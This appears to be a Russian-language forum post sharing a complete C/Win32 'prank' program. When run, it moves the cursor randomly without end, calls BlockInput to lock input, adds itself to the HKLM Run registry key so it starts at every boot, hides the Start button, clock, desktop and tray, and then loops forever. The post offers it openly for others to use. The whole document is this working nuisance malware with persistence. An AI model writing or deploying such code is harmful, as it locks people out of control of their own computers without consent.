Приколюхи с виндой

  1. #include <windows.h> // Win32
  2. #include <winable.h> // BlockInput
  3. #include <process.h> // Для треда
  4.  
  5. void Thread(void* pParams)
  6. {
  7. while(true) { // Мутим бешенный курсор
  8. SetCursorPos(rand() % 1920, rand() % 1080);
  9. Sleep(100);
  10. }
  11. }
  12.  
  13. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  14. {
  15. // Запускаем тред
  16. _beginthread(Thread, 0, NULL);
  17.  
  18. // Блокируем клавиатуру
  19. BlockInput(true); // false - разблокируем
  20.  
  21. // Ставим программу на автозапуск
  22. HKEY hKey;
  23. int MAX = 100;
  24. char buffer[MAX];
  25. GetModuleFileName(NULL, buffer, MAX);
  26.  
  27. RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKey, NULL);
  28. RegSetValueEx(hKey, "My", 0, REG_SZ, (PBYTE)buffer, 2 * strlen(buffer) + 1);
  29. RegCloseKey(hKey);
  30.  
  31. // Скрываем пуск
  32. HWND hWnd;
  33. hWnd = FindWindow("Shell_TrayWnd", NULL);
  34. hWnd = FindWindowEx(hWnd, NULL, "BUTTON", NULL);
  35. ShowWindow(hWnd, SW_HIDE);
  36.  
  37. // Прячем часы
  38. HWND hClockWnd = FindWindowEx(FindWindowEx(FindWindowEx(NULL, NULL, "Shell_TrayWnd", NULL),
  39. NULL, "TrayNotifyWnd", NULL), NULL, "TrayClockWClass", NULL);
  40. if (hClockWnd) ShowWindow(hClockWnd, SW_HIDE);
  41.  
  42. // Убираем рабочий стол
  43. ShowWindow(FindWindow("Progman", NULL), SW_HIDE);
  44.  
  45. // Убираем трей
  46. ShowWindow(FindWindowEx(FindWindow("Shell_TrayWnd", NULL), HWND(0), "TrayNotifyWnd", NULL), SW_HIDE);
  47. /*
  48.  * Чтоб все показать обратно:
  49.  * Вместо SW_HIDE - SW_SHOW
  50.  */
  51. while(true); // Пусть курсор еще полетает))
  52. return 0;
  53. }
* Записываемся на автозапуск, откуда были запущены
* Блокируем клавиатуру
* Скрываем несколько окошек
* Летающий курсор..))
Баян. Избавится от него просто, с ДЗ то код ничего не вытворяет.
Клавиатуру блокирует частично. Я полазил по нету.. просто собрал немного инфы в код. Надеюсь кому пригодится. :)

Реклама

Мы в соцсетях

tw tg yt gt